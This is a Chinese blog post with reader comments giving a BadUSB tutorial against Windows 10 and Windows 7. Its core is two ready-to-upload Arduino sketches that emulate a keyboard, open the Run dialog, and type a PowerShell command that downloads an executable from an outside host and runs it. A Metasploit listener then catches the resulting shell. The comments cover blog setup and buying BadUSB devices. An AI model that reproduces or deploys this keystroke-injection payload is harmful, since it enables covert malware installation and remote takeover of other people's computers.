逍遥子

badusb攻击windows10(msfconsole版)
准备badusbArduino下载软件运行软件在工具菜单中 选择,选择badusb的端口和开发版。注入代码wind...
扫描右侧二维码阅读全文
05
2019/03

badusb攻击windows10(msfconsole版)

准备

  • badusb
  • Arduino

下载软件

运行软件

TIM截图20190305105048.png

工具菜单中 选择,选择badusb的端口开发版
TIM截图20190304122136.png

注入代码

windows10系统

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://bbskali.cn/8888.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file);%HOMEPATH%\\windows.exe;");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);

}
 
void loop()//循环
{
}

windows7系统

#include <Keyboard.h>
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("CMD.EXE /t:01 /k MODE con: cols=16 lines=2");
  delay(1000);
  Keyboard.println("POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'https://bbskali.cn/8888.exe';$FILE = ' c:\\X.EXE ';$CLNT.dOWNLOADfILE($URL,$FILE);");
  delay(3000);
  Keyboard.println("C:\\X.EXE&EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

其他代码

传送门

编译上传

TIM截图20190304122308.png
成功如下:
TIM截图20190304122902.png

配置监听

在msf中我们配置参数,插入badusb即可得到shell,需要注意的是,本代码仅支持win10对于win7和xp由于不能直接用powershell下载,所以以上代码不能实现。

Last modification:March 5th, 2019 at 12:54 pm
正在沿街乞讨中……

Leave a Comment

14 comments

  1. 东北小蟹蟹 Firefox 69.0 Windows 10 中国 江苏 镇江

    您好,请问您的这个代码高亮是怎么整的啊

    1. 逍遥子 搜狗浏览器 Build Android 9 中国 北京 北京
      @东北小蟹蟹

      参考文章:https://github.com/Xcnte/ColorHighlight-for-typecho/blob/master/README.md

  2. 老黑黑客博客 Google Chrome 76.0.3809.100 Windows 10 中国 浙江 金华

    互换友情链接吗www.hacklaohei.com

    1. 逍遥子 搜狗浏览器 Build Android 9 中国 北京 北京
      @老黑黑客博客

      名称:kali博客
      网址:https://blog.bbskali.cn
      头像:https://blog.bbskali.cn/logo.png
      介绍:kali博客,致力于网络安全。

  3. tfboys 小米 10.9.2 Linux 中国 北京 北京

    能出几个视频吗?

  4. 逍遥子 Google Chrome 63.0.3239.132 Windows 7 中国 北京 北京

    滴!访客卡!请上车的乘客系好安全带,现在是:Wed Jul 17 2019 18:22:20 GMT+0800 (中国标准时间)

  5. 666 Google Chrome 73.0.3683.86 Windows 10 中国 北京 北京

    博主,你的博客是加了cdn吗,还是放在了服务器上啊

    1. 逍遥子 搜狗浏览器 Build Android 9 中国 北京 北京
      @666

      阿里云CDN

  6. 黑色紧身裤 QQ浏览器 6.2 Android 8.1.0 中国 北京 北京

    大家好不说是吧你说呢

    1. 逍遥子 搜狗浏览器 Build Android 9 中国 北京 北京
      @黑色紧身裤

      你高兴就好!😂

  7. 终结者 小米 10.6.1 Linux 中国 北京 北京

    badusb设备你这边可以买吗? 🙏🙏🙏

    1. 逍遥子 小米 10.6.1 Linux 中国 江苏 扬州
      @终结者

      联系下管理员

    2. 逍遥子 小米 10.6.1 Linux 中国 北京 北京
      @终结者

      可以!

  8. 小小白 搜狗浏览器 Build Android 9 中国 甘肃 临夏回族自治州

    你好,我问下这个需要买怎样的badusb,有没有其他的要求呢?